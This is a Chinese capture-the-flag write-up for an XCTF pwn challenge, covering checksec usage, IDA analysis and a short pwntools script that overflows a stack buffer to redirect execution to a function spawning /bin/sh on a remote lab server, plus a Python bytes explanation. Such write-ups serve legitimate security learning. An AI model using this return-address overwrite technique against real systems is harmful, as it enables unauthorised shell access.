栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

攻防世界

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

攻防世界

checksec

有点不大明白,之前checksec直接checksec filename就可以,现在变了样,索性就再记一记(参考checksec安装与使用)这个里面结尾有点意思:pwn题到手,checksec一下,file一下,nc一下,IDA一下

sudo apt install checksec

我用的是kali2022.1+阿里源,没有任何毛病

之前一直是这样用的,现在试了不行,就查了下

checksec使用

好像提示也够明显哈

类型一 normal (or --format=cli)
checksec --file={file}

我这里试了下{file}可以是路径(包括相对路径和绝对路径),也可以直接是文件名

类型二 csv
checksec --output=csv --file={file}
类型三 xml
checksec --output=xml --file={file}
类型四 json
checksec --output-json --file={file}

checksec结果在类型一第二个图,开了NX,栈中数据没有执行权限
运行一下,只有Hello,World

开始IDA


main函数打印Hello world,函数vulnerable_function返回一什么什么值

又返回一个read,又一个read

到头了,这个read上面有个system,char *command一个指针

不明白为啥这一块反编译不了,有个/bin/sh,函数名叫callsystem,就是获得系统权限,接着在Functions窗口找到它

回到vulnerable_function,发现80h表示十六进制的80,0x200表示十六进制200,buf可以出现栈溢出

这里的buf双击转到它所在的地址后有个提示:
Use data definition commands to create local variables and function arguments.
Two special fields " r" and " s" represent return address and saved registers.
frame size: 80; Saved regs: 8; Purge: 0
有道翻译过来是:
使用数据定义命令创建局部变量和函数参数。
两个特殊字段“r”和“s”表示返回地址和保存的寄存器。
帧大小:80;保存规则:8;清洗:0

r表示返回地址,也就是read函数结束后进行程序的下一步,让r被覆盖,编程上面说的callsystem的地址,就能拿到系统权限

exp
from pwn import * 
r = remote("111.200.241.244", 58035)  
payload = b'a' * 0x88 + p64(0x00400596)  #没有这个b会报错,在最后解释一下
r.recvuntil("Hello, Worldn")
r.sendline(payload)
r.interactive()


得到flag:cyberpeace{afa82389f551a1063d358e2bf8aaf399}
解释:b
b’a’表示bytes类型python中文文档types
python3新增的bytes类型,在python2中字节类型和字符类型区别不大,但是在python3中最重要的特性是对文本和二进制数据做了更加清晰的区分。python3不会以任意隐式方式混用字节型和字符型,也因此在python3中不能拼接字符串和字节包(python2中可以,会自动进行转换),也不能在字节包中搜索字符串,也不能将字符串传入参数为字节包的函数。需要注意的是,在网络数据传输过程中,python2可以通过字符串(string)方式传输,但是python3只能通过二进制(bytes)方式来传输,因此要对传输文本进行转换。
str->byte: ‘你好’.encode(‘utf-8’)
byte->str: b’xe4xbdxa0xe5xa5xbd’.decode(‘utf-8’)
encode,decode俩函数默认都是utf-8,所以,payload = b’a’ * 0x88 + p64(0x00400596),其实应该是 payload = ‘a’. *encode(‘utf-8’) 0x88 + p64(0x00400596)
原文在这
struct报错: argument for ‘s’ must be a bytes object

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/753939.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号